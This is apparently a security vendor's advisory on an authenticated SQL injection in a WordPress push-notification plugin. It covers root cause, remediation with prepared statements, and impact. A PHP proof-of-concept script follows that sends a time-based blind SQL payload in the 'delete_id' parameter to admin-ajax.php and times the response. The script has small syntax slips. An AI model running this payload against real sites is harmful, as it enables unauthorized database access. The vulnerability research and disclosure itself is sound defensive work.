Atomic Edge analysis of CVE-2026-0816 (metadata-based): This vulnerability is an authenticated SQL injection in the All push notification for WordPress plugin. Attackers with administrator-level access can exploit a lack of proper input sanitization in the ‘delete_id’ parameter to execute time-based blind SQL injection attacks, potentially extracting sensitive data from the database.
The root cause is improper neutralization of special elements used in an SQL command (CWE-89). The vulnerability description states insufficient escaping and lack of sufficient query preparation on user-supplied input. Atomic Edge research infers the plugin likely constructs an SQL query by directly concatenating the ‘delete_id’ parameter value without using a prepared statement via the WordPress `$wpdb` class. This conclusion is based on the CWE classification and the described attack vector, as no source code diff is available for confirmation.
Exploitation requires an authenticated administrator session. The attacker would likely send a POST request to the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) with an `action` parameter corresponding to a plugin-specific deletion function. The request would include a malicious ‘delete_id’ parameter containing a time-based SQL injection payload, such as `1′ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)– -`. This payload would cause the database to pause, confirming the injection point and allowing data exfiltration through conditional delays.
Remediation requires implementing proper input validation and using parameterized queries. The fix should replace any direct variable interpolation in SQL statements with the `$wpdb->prepare()` method. The developer must also ensure the ‘delete_id’ parameter is strictly validated as an integer, for example using `intval()` or `absint()`, before use in any database operation.
Successful exploitation allows an attacker with administrator privileges to read sensitive information from the database. This includes hashed user passwords, personal data, and other plugin-specific information. The CVSS vector indicates a high impact on confidentiality (C:H) with no direct impact on integrity or availability. While administrator access is already privileged, this vulnerability enables further reconnaissance and data collection within the compromised site’s database.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0816 - All push notification for WP <= 1.5.3 - Authenticated (Administrator+) SQL Injection via 'delete_id' Parameter
<?php
// CONFIGURATION
$target_url = 'https://target-site.com';
$admin_cookie = 'wordpress_logged_in_abc=...'; // Replace with a valid administrator session cookie
// The AJAX endpoint is the standard WordPress handler.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The 'action' parameter name is inferred from common plugin patterns.
// Plugins often use hooks like 'wp_ajax_{plugin_slug}_delete' or 'wp_ajax_{plugin_prefix}_delete_notification'.
// We attempt a common pattern based on the plugin slug 'all-push-notification'.
$ajax_action = 'all_push_notification_delete';
// Time-based SQL Injection payload for MySQL.
// This payload tests if the 'delete_id' parameter is vulnerable by triggering a 5-second delay.
$malicious_delete_id = "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
// Set POST data with the inferred parameters.
$post_fields = [
'action' => $ajax_action,
'delete_id' => $malicious_delete_id
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
// Set the administrator session cookie for authentication.
$headers = [
'Cookie: ' . $admin_cookie
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Measure response time to detect the sleep.
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed_time = $end_time - $start_time;
curl_close($ch);
// Analysis
if ($elapsed_time >= 5) {
echo "[+] Potential SQL Injection vulnerability detected. Response delayed by " . round($elapsed_time, 2) . " seconds.n";
echo "[+] The 'delete_id' parameter in action '{$ajax_action}' is likely vulnerable.n";
} else {
echo "[-] No time delay detected. The tested endpoint or parameter may be incorrect.n";
echo "[-] Consider enumerating other possible AJAX action names (e.g., 'apn_delete', 'allpn_delete').n";
}
?>
